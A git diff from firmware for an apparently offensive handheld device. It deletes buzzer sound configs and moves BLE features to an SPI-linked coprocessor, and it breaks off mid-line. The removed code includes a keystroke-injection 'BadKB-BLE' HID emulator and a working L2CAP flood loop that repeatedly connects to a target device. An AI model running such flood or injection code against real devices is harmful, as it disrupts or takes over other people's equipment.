a/firmware_p4/assets/config/buzzer/sounds/buzzer_flipper_granted.conf b/firmware_p4/assets/config/buzzer/sounds/buzzer_flipper_granted.conf deleted file mode 100644 index abba3a07..00000000 --- a/firmware_p4/assets/config/buzzer/sounds/buzzer_flipper_granted.conf +++ /dev/null @@ -1,17 +0,0 @@ -{ - "name": "buzzer_flipper_granted", - "notes": [ - { - "freq": 440.00, - "duration": 60 - }, - { - "freq": 523.25, - "duration": 60 - }, - { - "freq": 659.25, - "duration": 120 - } - ] -} \ No newline at end of file diff --git a/firmware_p4/assets/config/buzzer/sounds/buzzer_hacker_confirm.conf b/firmware_p4/assets/config/buzzer/sounds/buzzer_hacker_confirm.conf deleted file mode 100644 index 36c076a1..00000000 --- a/firmware_p4/assets/config/buzzer/sounds/buzzer_hacker_confirm.conf +++ /dev/null @@ -1,17 +0,0 @@ -{ - "name": "buzzer_hacker_confirm", - "notes": [ - { - "freq": 659.00, - "duration": 60 - }, - { - "freq": 0, - "duration": 30 - }, - { - "freq": 784.00, - "duration": 100 - } - ] -} \ No newline at end of file diff --git a/firmware_p4/assets/config/buzzer/sounds/buzzer_hacker_glitch.conf b/firmware_p4/assets/config/buzzer/sounds/buzzer_hacker_glitch.conf deleted file mode 100644 index f1fd6152..00000000 --- a/firmware_p4/assets/config/buzzer/sounds/buzzer_hacker_glitch.conf +++ /dev/null @@ -1,15 +0,0 @@ -{ - "name": "buzzer_hacker_glitch", - "notes": [ - {"freq": 1245.00, "duration": 30}, {"freq": 0, "duration": 10}, - {"freq": 1661.00, "duration": 30}, {"freq": 0, "duration": 10}, - {"freq": 1245.00, "duration": 30}, {"freq": 0, "duration": 10}, - {"freq": 1661.00, "duration": 30}, {"freq": 0, "duration": 10}, - {"freq": 1245.00, "duration": 30}, {"freq": 0, "duration": 10}, - {"freq": 1661.00, "duration": 30}, {"freq": 0, "duration": 10}, - {"freq": 1245.00, "duration": 30}, {"freq": 0, "duration": 10}, - {"freq": 1661.00, "duration": 30}, {"freq": 0, "duration": 10}, - {"freq": 1245.00, "duration": 30}, {"freq": 0, "duration": 10}, - {"freq": 1661.00, "duration": 30}, {"freq": 0, "duration": 10} - ] -} \ No newline at end of file diff --git a/firmware_p4/assets/config/buzzer/sounds/buzzer_notify_long.conf b/firmware_p4/assets/config/buzzer/sounds/buzzer_notify_long.conf deleted file mode 100644 index a6b856a5..00000000 --- a/firmware_p4/assets/config/buzzer/sounds/buzzer_notify_long.conf +++ /dev/null @@ -1,25 +0,0 @@ -{ - "name": "buzzer_notify_long", - "notes": [ - { - "freq": 659.00, - "duration": 150 - }, - { - "freq": 0, - "duration": 50 - }, - { - "freq": 784.00, - "duration": 150 - }, - { - "freq": 0, - "duration": 50 - }, - { - "freq": 1047.00, - "duration": 300 - } - ] -} \ No newline at end of file diff --git a/firmware_p4/assets/config/buzzer/sounds/buzzer_notify_short.conf b/firmware_p4/assets/config/buzzer/sounds/buzzer_notify_short.conf deleted file mode 100644 index f72da3d8..00000000 --- a/firmware_p4/assets/config/buzzer/sounds/buzzer_notify_short.conf +++ /dev/null @@ -1,17 +0,0 @@ -{ - "name": "buzzer_notify_short", - "notes": [ - { - "freq": 784.00, - "duration": 80 - }, - { - "freq": 0, - "duration": 50 - }, - { - "freq": 1047.00, - "duration": 100 - } - ] -} \ No newline at end of file diff --git a/firmware_p4/assets/config/buzzer/sounds/buzzer_radar_ping.conf b/firmware_p4/assets/config/buzzer/sounds/buzzer_radar_ping.conf deleted file mode 100644 index 8221acb9..00000000 --- a/firmware_p4/assets/config/buzzer/sounds/buzzer_radar_ping.conf +++ /dev/null @@ -1,17 +0,0 @@ -{ - "name": "buzzer_radar_ping", - "notes": [ - { - "freq": 392.00, - "duration": 100 - }, - { - "freq": 0, - "duration": 300 - }, - { - "freq": 329.63, - "duration": 80 - } - ] -} \ No newline at end of file diff --git a/firmware_p4/assets/config/buzzer/sounds/buzzer_scanner_loop.conf b/firmware_p4/assets/config/buzzer/sounds/buzzer_scanner_loop.conf deleted file mode 100644 index a6b2d514..00000000 --- a/firmware_p4/assets/config/buzzer/sounds/buzzer_scanner_loop.conf +++ /dev/null @@ -1,29 +0,0 @@ -{ - "name": "buzzer_scanner_loop", - "notes": [ - { - "freq": 262.00, - "duration": 50 - }, - { - "freq": 0, - "duration": 30 - }, - { - "freq": 312.00, - "duration": 50 - }, - { - "freq": 0, - "duration": 30 - }, - { - "freq": 362.00, - "duration": 50 - }, - { - "freq": 0, - "duration": 30 - } - ] -} \ No newline at end of file diff --git a/firmware_p4/assets/config/buzzer/sounds/buzzer_scroll_tick.conf b/firmware_p4/assets/config/buzzer/sounds/buzzer_scroll_tick.conf deleted file mode 100644 index 96326035..00000000 --- a/firmware_p4/assets/config/buzzer/sounds/buzzer_scroll_tick.conf +++ /dev/null @@ -1,17 +0,0 @@ -{ - "name": "buzzer_scroll_tick", - "notes": [ - { - "freq": 1047.00, - "duration": 20 - }, - { - "freq": 0, - "duration": 20 - }, - { - "freq": 1319.00, - "duration": 20 - } - ] -} \ No newline at end of file diff --git a/firmware_p4/assets/config/buzzer/sounds/buzzer_success.conf b/firmware_p4/assets/config/buzzer/sounds/buzzer_success.conf deleted file mode 100644 index 8d919ecc..00000000 --- a/firmware_p4/assets/config/buzzer/sounds/buzzer_success.conf +++ /dev/null @@ -1,25 +0,0 @@ -{ - "name": "buzzer_success", - "notes": [ - { - "freq": 523.25, - "duration": 100 - }, - { - "freq": 0, - "duration": 50 - }, - { - "freq": 587.00, - "duration": 100 - }, - { - "freq": 0, - "duration": 50 - }, - { - "freq": 659.00, - "duration": 100 - } - ] -} \ No newline at end of file diff --git a/firmware_p4/assets/config/buzzer/sounds/buzzer_system_tick.conf b/firmware_p4/assets/config/buzzer/sounds/buzzer_system_tick.conf deleted file mode 100644 index 3e820553..00000000 --- a/firmware_p4/assets/config/buzzer/sounds/buzzer_system_tick.conf +++ /dev/null @@ -1,11 +0,0 @@ -{ - "name": "buzzer_system_tick", - "notes": [ - { "freq": 1047.00, "duration": 25 }, - { "freq": 0, "duration": 40 }, - { "freq": 1047.00, "duration": 25 }, - { "freq": 0, "duration": 40 }, - { "freq": 1047.00, "duration": 25 }, - { "freq": 0, "duration": 40 } - ] -} \ No newline at end of file diff --git a/firmware_p4/assets/config/buzzer/sounds/megalovania.conf b/firmware_p4/assets/config/buzzer/sounds/megalovania.conf deleted file mode 100644 index 0902aac5..00000000 --- a/firmware_p4/assets/config/buzzer/sounds/megalovania.conf +++ /dev/null @@ -1,14 +0,0 @@ -{ - "name": "Megalovania", - "notes": [ - {"freq": 587.33, "duration": 125}, {"freq": 587.33, "duration": 125}, {"freq": 440.00, "duration": 125}, - {"freq": 587.33, "duration": 125}, {"freq": 440.00, "duration": 125}, {"freq": 587.33, "duration": 125}, - {"freq": 440.00, "duration": 250}, {"freq": 0, "duration": 125}, - {"freq": 698.46, "duration": 125}, {"freq": 698.46, "duration": 125}, {"freq": 523.25, "duration": 125}, - {"freq": 698.46, "duration": 125}, {"freq": 523.25, "duration": 125}, {"freq": 698.46, "duration": 125}, - {"freq": 523.25, "duration": 250}, {"freq": 0, "duration": 125}, - {"freq": 783.99, "duration": 125}, {"freq": 739.99, "duration": 125}, {"freq": 698.46, "duration": 125}, - {"freq": 622.25, "duration": 125}, {"freq": 587.33, "duration": 125}, {"freq": 622.25, "duration": 125}, - {"freq": 698.46, "duration": 250} - ] -} \ No newline at end of file diff --git a/firmware_p4/assets/config/buzzer/sounds/super_mario.conf b/firmware_p4/assets/config/buzzer/sounds/super_mario.conf deleted file mode 100644 index 77ebf06a..00000000 --- a/firmware_p4/assets/config/buzzer/sounds/super_mario.conf +++ /dev/null @@ -1,13 +0,0 @@ -{ - "name": "Super Mario Bros Theme", - "notes": [ - {"freq": 2637.02, "duration": 83}, {"freq": 2637.02, "duration": 83}, {"freq": 0, "duration": 83}, {"freq": 2637.02, "duration": 83}, - {"freq": 0, "duration": 83}, {"freq": 2093.00, "duration": 83}, {"freq": 2637.02, "duration": 83}, {"freq": 0, "duration": 83}, - {"freq": 3135.96, "duration": 83}, {"freq": 0, "duration": 83}, {"freq": 0, "duration": 83}, {"freq": 0, "duration": 83}, - {"freq": 1567.98, "duration": 83}, {"freq": 0, "duration": 83}, {"freq": 0, "duration": 83}, {"freq": 0, "duration": 83}, - {"freq": 2093.00, "duration": 83}, {"freq": 0, "duration": 83}, {"freq": 0, "duration": 83}, {"freq": 1567.98, "duration": 83}, - {"freq": 0, "duration": 83}, {"freq": 0, "duration": 83}, {"freq": 1318.51, "duration": 83}, {"freq": 0, "duration": 83}, - {"freq": 0, "duration": 83}, {"freq": 1760.00, "duration": 83}, {"freq": 0, "duration": 83}, {"freq": 1975.53, "duration": 83}, - {"freq": 0, "duration": 83}, {"freq": 1864.66, "duration": 83}, {"freq": 1760.00, "duration": 83}, {"freq": 0, "duration": 83} - ] -} \ No newline at end of file diff --git a/firmware_p4/assets/config/buzzer/sounds/zelda_lullaby.conf b/firmware_p4/assets/config/buzzer/sounds/zelda_lullaby.conf deleted file mode 100644 index 6b879889..00000000 --- a/firmware_p4/assets/config/buzzer/sounds/zelda_lullaby.conf +++ /dev/null @@ -1,11 +0,0 @@ -{ - "name": "Zelda's Lullaby", - "notes": [ - {"freq": 246.94, "duration": 1000}, {"freq": 293.66, "duration": 500}, {"freq": 220.00, "duration": 1000}, - {"freq": 196.00, "duration": 250}, {"freq": 220.00, "duration": 250}, {"freq": 246.94, "duration": 1000}, - {"freq": 293.66, "duration": 500}, {"freq": 220.00, "duration": 1500}, {"freq": 246.94, "duration": 1000}, - {"freq": 293.66, "duration": 500}, {"freq": 440.00, "duration": 1000}, {"freq": 392.00, "duration": 500}, - {"freq": 293.66, "duration": 1000}, {"freq": 261.63, "duration": 250}, {"freq": 246.94, "duration": 250}, - {"freq": 220.00, "duration": 1500}, {"freq": 523.25, "duration": 1500} - ] -} \ No newline at end of file diff --git a/firmware_p4/components/Applications/CMakeLists.txt b/firmware_p4/components/Applications/CMakeLists.txt index 5fe90b2b..925cba73 100644 --- a/firmware_p4/components/Applications/CMakeLists.txt +++ b/firmware_p4/components/Applications/CMakeLists.txt @@ -60,14 +60,12 @@ file(GLOB_RECURSE CONNECT_BLUETOOTH_UI_SRCS "ui/screens/connect_bluetooth/*.c") file(GLOB_RECURSE SUBGHZ_APP_SRCS "SubGhz/*.c") file(GLOB_RECURSE BLE_APP_SRCS "bluetooth/*.c") file(GLOB_RECURSE BADUSB_APP_SRCS "bad_usb/*.c") -file(GLOB_RECURSE ESPNOW_CHAT_APP_SRCS "espnow_chat/*.c") file(GLOB_RECURSE WIFI_APP_SRCS "wifi/*.c") idf_component_register(SRCS "play/play.c" ${UI_SRCS} ${WIFI_APP_SRCS} - ${ESPNOW_CHAT_APP_SRCS} ${BADUSB_APP_SRCS} ${BLE_APP_SRCS} "ui/ui_manager.c" @@ -98,7 +96,6 @@ idf_component_register(SRCS INCLUDE_DIRS "play/include" "wifi/include" - "espnow_chat/include" "ui/include" "ui/screens/SubGhz/include" "ui/screens/bluetooth/include" diff --git a/firmware_p4/components/Applications/bluetooth/ble_hid_keyboard.c b/firmware_p4/components/Applications/bluetooth/ble_hid_keyboard.c index 59123221..8a50be76 100644 --- a/firmware_p4/components/Applications/bluetooth/ble_hid_keyboard.c +++ b/firmware_p4/components/Applications/bluetooth/ble_hid_keyboard.c @@ -13,220 +13,71 @@ // limitations under the License. #include "ble_hid_keyboard.h" +#include "spi_bridge.h" +#include "spi_protocol.h" #include "esp_log.h" -#include "host/ble_hs.h" -#include "host/ble_uuid.h" -#include "services/gap/ble_svc_gap.h" -#include "services/gatt/ble_svc_gatt.h" -#include "services/ans/ble_svc_ans.h" -#include static const char *TAG = "BLE_HID"; -static uint16_t hid_conn_handle = BLE_HS_CONN_HANDLE_NONE; static bool is_connected = false; -static uint16_t hid_report_handle; - -// HID Report Map para Teclado Padrão -static const uint8_t hid_report_map[] = { - 0x05, 0x01, // Usage Page (Generic Desktop) - 0x09, 0x06, // Usage (Keyboard) - 0xA1, 0x01, // Collection (Application) - 0x05, 0x07, // Usage Page (Key Codes) - 0x19, 0xE0, // Usage Minimum (224) - 0x29, 0xE7, // Usage Maximum (231) - 0x15, 0x00, // Logical Minimum (0) - 0x25, 0x01, // Logical Maximum (1) - 0x75, 0x01, // Report Size (1) - 0x95, 0x08, // Report Count (8) - 0x81, 0x02, // Input (Data, Variable, Absolute) ; Modifier byte - 0x95, 0x01, // Report Count (1) - 0x75, 0x08, // Report Size (8) - 0x81, 0x01, // Input (Constant) ; Reserved byte - 0x95, 0x05, // Report Count (5) - 0x75, 0x01, // Report Size (1) - 0x05, 0x08, // Usage Page (LEDs) - 0x19, 0x01, // Usage Minimum (1) - 0x29, 0x05, // Usage Maximum (5) - 0x91, 0x02, // Output (Data, Variable, Absolute) ; LED report - 0x95, 0x01, // Report Count (1) - 0x75, 0x03, // Report Size (3) - 0x91, 0x01, // Output (Constant) ; LED report padding - 0x95, 0x06, // Report Count (6) - 0x75, 0x08, // Report Size (8) - 0x15, 0x00, // Logical Minimum (0) - 0x25, 0x65, // Logical Maximum (101) - 0x05, 0x07, // Usage Page (Key Codes) - 0x19, 0x00, // Usage Minimum (0) - 0x29, 0x65, // Usage Maximum (101) - 0x81, 0x00, // Input (Data, Array) ; Key arrays (6 bytes) - 0xC0 // End Collection -}; - -static int hid_access_cb(uint16_t conn_handle, uint16_t attr_handle, - struct ble_gatt_access_ctxt *ctxt, void *arg) { - uint16_t uuid16 = ble_uuid_u16(ctxt->chr->uuid); - - // Report Map (0x2A4B) - if (uuid16 == 0x2A4B) { - int rc = os_mbuf_append(ctxt->om, hid_report_map, sizeof(hid_report_map)); - return rc == 0 ? 0 : BLE_ATT_ERR_INSUFFICIENT_RES; - } - - // HID Information (0x2A4A) - if (uuid16 == 0x2A4A) { - // bcdHID(2), bCountryCode(1), Flags(1) - uint8_t info[] = {0x11, 0x01, 0x00, 0x02}; // HID v1.11, Country 0, RemoteWake+NormallyConnectable - int rc = os_mbuf_append(ctxt->om, info, sizeof(info)); - return rc == 0 ? 0 : BLE_ATT_ERR_INSUFFICIENT_RES; - } - - // Protocol Mode (0x2A4E) - if (uuid16 == 0x2A4E) { - if (ctxt->op == BLE_GATT_ACCESS_OP_READ_CHR) { - uint8_t mode = 1; // Report Protocol - os_mbuf_append(ctxt->om, &mode, 1); - return 0; - } - } - - return 0; -} - -static const struct ble_gatt_svc_def hid_svcs[] = { - { - // Service: Device Information (0x180A) - .type = BLE_GATT_SVC_TYPE_PRIMARY, - .uuid = BLE_UUID16_DECLARE(0x180A), - .characteristics = (struct ble_gatt_chr_def[]) { { - .uuid = BLE_UUID16_DECLARE(0x2A29), // Manufacturer Name - .access_cb = hid_access_cb, - .flags = BLE_GATT_CHR_F_READ, - }, { - 0, - } }, - }, - { - // Service: Human Interface Device (0x1812) - .type = BLE_GATT_SVC_TYPE_PRIMARY, - .uuid = BLE_UUID16_DECLARE(0x1812), - .characteristics = (struct ble_gatt_chr_def[]) { { - // Report Map - .uuid = BLE_UUID16_DECLARE(0x2A4B), - .access_cb = hid_access_cb, - .flags = BLE_GATT_CHR_F_READ, - }, { - // Report (Input) - Handle saved for notifications - .uuid = BLE_UUID16_DECLARE(0x2A4D), - .access_cb = hid_access_cb, - .flags = BLE_GATT_CHR_F_READ | BLE_GATT_CHR_F_NOTIFY, - .val_handle = &hid_report_handle, - }, { - // HID Information - .uuid = BLE_UUID16_DECLARE(0x2A4A), - .access_cb = hid_access_cb, - .flags = BLE_GATT_CHR_F_READ, - }, { - // Protocol Mode - .uuid = BLE_UUID16_DECLARE(0x2A4E), - .access_cb = hid_access_cb, - .flags = BLE_GATT_CHR_F_READ | BLE_GATT_CHR_F_WRITE_NO_RSP, - }, { - 0, - } }, - }, - { - 0, - } -}; - -static int ble_hid_gap_event(struct ble_gap_event *event, void *arg) { - switch (event->type) { - case BLE_GAP_EVENT_CONNECT: - if (event->connect.status == 0) { - hid_conn_handle = event->connect.conn_handle; - is_connected = true; - ESP_LOGI(TAG, "HID Connected"); - } - break; - case BLE_GAP_EVENT_DISCONNECT: - hid_conn_handle = BLE_HS_CONN_HANDLE_NONE; - is_connected = false; - ESP_LOGI(TAG, "HID Disconnected"); - // Auto re-advertise - ble_hid_init(); - break; - } - return 0; -} esp_err_t ble_hid_init(void) { - // 1. Register Services - int rc = ble_gatts_count_cfg(hid_svcs); - if (rc != 0) { - ESP_LOGE(TAG, "GATTS count cfg failed: %d", rc); - return rc; - } - - rc = ble_gatts_add_svcs(hid_svcs); - if (rc != 0) { - ESP_LOGE(TAG, "GATTS add svcs failed: %d", rc); - return rc; - } - - // 2. Start Advertising - struct ble_gap_adv_params adv_params = {0}; - adv_params.conn_mode = BLE_GAP_CONN_MODE_UND; - adv_params.disc_mode = BLE_GAP_DISC_MODE_GEN; - - struct ble_hs_adv_fields fields = {0}; - fields.flags = BLE_HS_ADV_F_DISC_GEN | BLE_HS_ADV_F_BREDR_UNSUP; - fields.appearance = 0x03C1; // Keyboard - fields.name = (uint8_t *)"BadKB-BLE"; - fields.name_len = 9; - fields.name_is_complete = 1; - fields.uuids16 = (ble_uuid16_t[]){ BLE_UUID16_INIT(0x1812) }; - fields.num_uuids16 = 1; - fields.uuids16_is_complete = 1; - - ble_gap_adv_set_fields(&fields); - ble_gap_adv_start(BLE_OWN_ADDR_RANDOM, NULL, BLE_HS_FOREVER, &adv_params, ble_hid_gap_event, NULL); - - ESP_LOGI(TAG, "HID Services Added & Advertising started"); - return ESP_OK; + spi_header_t resp_hdr; + uint8_t resp_buf[SPI_MAX_PAYLOAD]; + + esp_err_t ret = spi_bridge_send_command(SPI_ID_BT_HID_INIT, + NULL, 0, + &resp_hdr, resp_buf, 5000); + + if (ret != ESP_OK || resp_buf[0] != SPI_STATUS_OK) { + ESP_LOGE(TAG, "Failed to init HID on C5"); + return ESP_FAIL; + } + + ESP_LOGI(TAG, "HID Keyboard initialized on C5"); + return ESP_OK; } esp_err_t ble_hid_deinit(void) { - if (is_connected) { - ble_gap_terminate(hid_conn_handle, BLE_ERR_REM_USER_CONN_TERM); - } - ble_gap_adv_stop(); - // NimBLE does not easily support removing services at runtime without reset. - // We just stop advertising. - return ESP_OK; + spi_header_t resp_hdr; + uint8_t resp_buf[SPI_MAX_PAYLOAD]; + + esp_err_t ret = spi_bridge_send_command(SPI_ID_BT_HID_DEINIT, + NULL, 0, + &resp_hdr, resp_buf, 2000); + + if (ret != ESP_OK || resp_buf[0] != SPI_STATUS_OK) { + ESP_LOGW(TAG, "Failed to deinit HID on C5"); + } + + is_connected = false; + return ESP_OK; } bool ble_hid_is_connected(void) { - return is_connected; -} + spi_header_t resp_hdr; + uint8_t resp_buf[SPI_MAX_PAYLOAD]; -void ble_hid_send_key(uint8_t keycode, uint8_t modifier) { - if (!is_connected) return; + esp_err_t ret = spi_bridge_send_command(SPI_ID_BT_HID_IS_CONNECTED, + NULL, 0, + &resp_hdr, resp_buf, 2000); - // Report: Modifier, Reserved, Key1, Key2, Key3, Key4, Key5, Key6 - uint8_t report[8] = {0}; - report[0] = modifier; - report[2] = keycode; + if (ret != ESP_OK || resp_buf[0] != SPI_STATUS_OK) { + return false; + } - struct os_mbuf *om = ble_hs_mbuf_from_flat(report, sizeof(report)); - ble_gattc_notify_custom(hid_conn_handle, hid_report_handle, om); + is_connected = resp_buf[1]; + return is_connected; +} - vTaskDelay(pdMS_TO_TICKS(15)); // Debounce +void ble_hid_send_key(uint8_t keycode, uint8_t modifier) { + // Payload: modifier[1] + keycode[1] + uint8_t payload[2] = { modifier, keycode }; + + spi_header_t resp_hdr; + uint8_t resp_buf[SPI_MAX_PAYLOAD]; - // Release - memset(report, 0, sizeof(report)); - om = ble_hs_mbuf_from_flat(report, sizeof(report)); - ble_gattc_notify_custom(hid_conn_handle, hid_report_handle, om); - - vTaskDelay(pdMS_TO_TICKS(15)); -} \ No newline at end of file + spi_bridge_send_command(SPI_ID_BT_HID_SEND_KEY, + payload, sizeof(payload), + &resp_hdr, resp_buf, 1000); +} diff --git a/firmware_p4/components/Applications/bluetooth/ble_l2cap_flood.c b/firmware_p4/components/Applications/bluetooth/ble_l2cap_flood.c index bc4ec453..5baaf0a1 100644 --- a/firmware_p4/components/Applications/bluetooth/ble_l2cap_flood.c +++ b/firmware_p4/components/Applications/bluetooth/ble_l2cap_flood.c @@ -14,127 +14,14 @@ #include "ble_l2cap_flood.h" #include "bluetooth_service.h" +#include "spi_bridge.h" +#include "spi_protocol.h" #include "esp_log.h" -#include "esp_heap_caps.h" -#include "freertos/FreeRTOS.h" -#include "freertos/task.h" -#include "freertos/semphr.h" -#include "host/ble_gap.h" #include static const char *TAG = "L2CAP_FLOOD"; static bool is_running = false; -static uint8_t target_addr[6]; -static uint8_t target_addr_type; -static uint16_t conn_handle = BLE_HS_CONN_HANDLE_NONE; - -static TaskHandle_t l2cap_task_handle = NULL; -static StackType_t *l2cap_task_stack = NULL; -static StaticTask_t *l2cap_task_tcb = NULL; -#define L2CAP_STACK_SIZE 4096 - -static SemaphoreHandle_t l2cap_sem = NULL; - -static int l2cap_gap_event(struct ble_gap_event *event, void *arg) { - switch (event->type) { - case BLE_GAP_EVENT_CONNECT: - if (event->connect.status == 0) { - ESP_LOGI(TAG, "Connected to target. Starting L2CAP flood..."); - conn_handle = event->connect.conn_handle; - if (l2cap_sem) xSemaphoreGive(l2cap_sem); - } else { - ESP_LOGW(TAG, "Connection failed status=%d", event->connect.status); - conn_handle = BLE_HS_CONN_HANDLE_NONE; - if (l2cap_sem) xSemaphoreGive(l2cap_sem); - } - break; - - case BLE_GAP_EVENT_DISCONNECT: - ESP_LOGI(TAG, "Disconnected."); - conn_handle = BLE_HS_CONN_HANDLE_NONE; - if (l2cap_sem) xSemaphoreGive(l2cap_sem); - break; - - case BLE_GAP_EVENT_CONN_UPDATE: - // Ignore update events - break; - - case BLE_GAP_EVENT_CONN_UPDATE_REQ: - // Accept any update to keep connection alive if they ask - return 0; - - default: - break; - } - return 0; -} - -static void l2cap_task(void *pvParameters) { - ESP_LOGI(TAG, "L2CAP Flood Task Started"); - - struct ble_gap_conn_params conn_params = {0}; - conn_params.scan_itvl = 0x0010; - conn_params.scan_window = 0x0010; - conn_params.itvl_min = BLE_GAP_INITIAL_CONN_ITVL_MIN; - conn_params.itvl_max = BLE_GAP_INITIAL_CONN_ITVL_MAX; - conn_params.latency = 0; - conn_params.supervision_timeout = 0x0100; - conn_params.min_ce_len = 0x0010; - conn_params.max_ce_len = 0x0300; - - ble_addr_t addr; - memcpy(addr.val, target_addr, 6); - addr.type = target_addr_type; - - while (is_running) { - if (conn_handle == BLE_HS_CONN_HANDLE_NONE) { - bluetooth_service_stop_advertising(); - - xSemaphoreTake(l2cap_sem, 0); - - ESP_LOGD(TAG, "Connecting..."); - int rc = ble_gap_connect(bluetooth_service_get_own_addr_type(), &addr, 10000, &conn_params, l2cap_gap_event, NULL); - - if (rc == 0) { - xSemaphoreTake(l2cap_sem, portMAX_DELAY); - } else if (rc == BLE_HS_EALREADY) { - vTaskDelay(pdMS_TO_TICKS(100)); - } else { - ESP_LOGE(TAG, "Connect failed: %d", rc); - vTaskDelay(pdMS_TO_TICKS(1000)); - } - } else { - struct ble_gap_upd_params params; - params.itvl_min = 6; // 7.5ms - params.itvl_max = 3200; // 4000ms - params.latency = 0; - params.supervision_timeout = 500; // 5s - params.min_ce_len = 0; - params.max_ce_len = 0; - - int rc = ble_gap_update_params(conn_handle, ¶ms); - - if (rc == 0) { - } else if (rc == BLE_HS_ENOTCONN) { - conn_handle = BLE_HS_CONN_HANDLE_NONE; - } else { - // EBUSY or other, just wait a tiny bit - // vTaskDelay(1); - } - - vTaskDelay(pdMS_TO_TICKS(10)); - } - } - - if (conn_handle != BLE_HS_CONN_HANDLE_NONE) { - ble_gap_terminate(conn_handle, BLE_ERR_REM_USER_CONN_TERM); - conn_handle = BLE_HS_CONN_HANDLE_NONE; - } - - l2cap_task_handle = NULL; - vTaskDelete(NULL); -} esp_err_t ble_l2cap_flood_start(const uint8_t *addr, uint8_t addr_type) { if (is_running) { @@ -146,67 +33,43 @@ esp_err_t ble_l2cap_flood_start(const uint8_t *addr, uint8_t addr_type) { return ESP_FAIL; } - memcpy(target_addr, addr, 6); - target_addr_type = addr_type; - - if (l2cap_sem == NULL) { - l2cap_sem = xSemaphoreCreateBinary(); - } - - conn_handle = BLE_HS_CONN_HANDLE_NONE; + // Payload: addr[6] + addr_type[1] + uint8_t payload[7]; + memcpy(payload, addr, 6); + payload[6] = addr_type; - l2cap_task_stack = (StackType_t *)heap_caps_malloc(L2CAP_STACK_SIZE * sizeof(StackType_t), MALLOC_CAP_SPIRAM); - l2cap_task_tcb = (StaticTask_t *)heap_caps_malloc(sizeof(StaticTask_t), MALLOC_CAP_SPIRAM); + spi_header_t resp_hdr; + uint8_t resp_buf[SPI_MAX_PAYLOAD]; - if (!l2cap_task_stack || !l2cap_task_tcb) { - ESP_LOGE(TAG, "Failed to allocate memory for l2cap task"); - if (l2cap_task_stack) heap_caps_free(l2cap_task_stack); - if (l2cap_task_tcb) heap_caps_free(l2cap_task_tcb); - return ESP_ERR_NO_MEM; - } + esp_err_t ret = spi_bridge_send_command(SPI_ID_BT_APP_FLOOD, + payload, sizeof(payload), + &resp_hdr, resp_buf, 5000); - is_running = true; - l2cap_task_handle = xTaskCreateStatic( - l2cap_task, - "ble_l2cap_task", - L2CAP_STACK_SIZE, - NULL, - 5, - l2cap_task_stack, - l2cap_task_tcb - ); - - if (l2cap_task_handle == NULL) { - is_running = false; + if (ret != ESP_OK || resp_buf[0] != SPI_STATUS_OK) { + ESP_LOGE(TAG, "Failed to start L2CAP flood on C5"); return ESP_FAIL; } + is_running = true; + ESP_LOGI(TAG, "L2CAP Flood started"); return ESP_OK; } esp_err_t ble_l2cap_flood_stop(void) { if (!is_running) return ESP_OK; - is_running = false; - - if (l2cap_sem) { - xSemaphoreGive(l2cap_sem); - } + spi_header_t resp_hdr; + uint8_t resp_buf[SPI_MAX_PAYLOAD]; - int retry = 20; - while (l2cap_task_handle != NULL && retry > 0) { - vTaskDelay(pdMS_TO_TICKS(50)); - retry--; - } + esp_err_t ret = spi_bridge_send_command(SPI_ID_BT_APP_STOP, + NULL, 0, + &resp_hdr, resp_buf, 2000); - if (l2cap_task_stack) { heap_caps_free(l2cap_task_stack); l2cap_task_stack = NULL; } - if (l2cap_task_tcb) { heap_caps_free(l2cap_task_tcb); l2cap_task_tcb = NULL; } - - if (l2cap_sem) { - vSemaphoreDelete(l2cap_sem); - l2cap_sem = NULL; + if (ret != ESP_OK || resp_buf[0] != SPI_STATUS_OK) { + ESP_LOGW(TAG, "Failed to stop L2CAP flood on C5"); } + is_running = false; ESP_LOGI(TAG, "L2CAP Flood stopped"); return ESP_OK; } diff --git a/firmware_p4/components/Applications/bluetooth/ble_screen_server.c b/firmware_p4/components/Applications/bluetooth/ble_screen_server.c index ecf8d744..2d056df0 100644 --- a/firmware_p4/components/Applications/bluetooth/ble_screen_server.c +++ b/firmware_p4/components/Applications/bluetooth/ble_screen_server.c @@ -13,69 +13,50 @@ // limitations under the License. #include "ble_screen_server.h" +#include "spi_bridge.h" +#include "spi_protocol.h" #include "esp_log.h" #include "esp_heap_caps.h" -#include "host/ble_hs.h" -#include "host/ble_uuid.h" -#include "services/gatt/ble_svc_gatt.h" #include static const char *TAG = "BLE_SCREEN"; -static const ble_uuid128_t gatt_svc_screen_uuid = - BLE_UUID128_INIT(0x00, 0x00, 0x64, 0x6c, 0x6f, 0x00, 0x41, 0x89, - 0xc0, 0x46, 0x72, 0x69, 0xb6, 0x56, 0x5a, 0x59); - -static const ble_uuid128_t gatt_chr_stream_uuid = - BLE_UUID128_INIT(0x01, 0x00, 0x64, 0x6c, 0x6f, 0x00, 0x41, 0x89, - 0xc0, 0x46, 0x72, 0x69, 0xb6, 0x56, 0x5a, 0x59); - -static uint16_t screen_chr_val_handle; static uint8_t *compression_buffer = NULL; static bool is_initialized = false; -#define MAX_CHUNK_SIZE 480 // MTU Optimized - -static int screen_access_cb(uint16_t conn_handle, uint16_t attr_handle, - struct ble_gatt_access_ctxt *ctxt, void *arg) { - return 0; -} - -static const struct ble_gatt_svc_def screen_svcs[] = { - { - .type = BLE_GATT_SVC_TYPE_PRIMARY, - .uuid = &gatt_svc_screen_uuid.u, - .characteristics = (struct ble_gatt_chr_def[]) { - { - .uuid = &gatt_chr_stream_uuid.u, - .access_cb = screen_access_cb, - .flags = BLE_GATT_CHR_F_NOTIFY, - .val_handle = &screen_chr_val_handle, - }, - { 0 } - }, - }, - { 0 } -}; +#define MAX_CHUNK_SIZE 240 // SPI_MAX_PAYLOAD - header overhead esp_err_t ble_screen_server_init(void) { if (is_initialized) return ESP_OK; - int rc = ble_gatts_count_cfg(screen_svcs); - if (rc != 0) return rc; + spi_header_t resp_hdr; + uint8_t resp_buf[SPI_MAX_PAYLOAD]; + + esp_err_t ret = spi_bridge_send_command(SPI_ID_BT_SCREEN_INIT, + NULL, 0, + &resp_hdr, resp_buf, 5000); - rc = ble_gatts_add_svcs(screen_svcs); - if (rc != 0) return rc; + if (ret != ESP_OK || resp_buf[0] != SPI_STATUS_OK) { + ESP_LOGE(TAG, "Failed to init screen server on C5"); + return ESP_FAIL; + } compression_buffer = heap_caps_malloc(32 * 1024, MALLOC_CAP_SPIRAM); if (!compression_buffer) return ESP_ERR_NO_MEM; is_initialized = true; - ESP_LOGI(TAG, "Screen Stream Service Initialized"); + ESP_LOGI(TAG, "Screen Stream Service initialized"); return ESP_OK; } void ble_screen_server_deinit(void) { + spi_header_t resp_hdr; + uint8_t 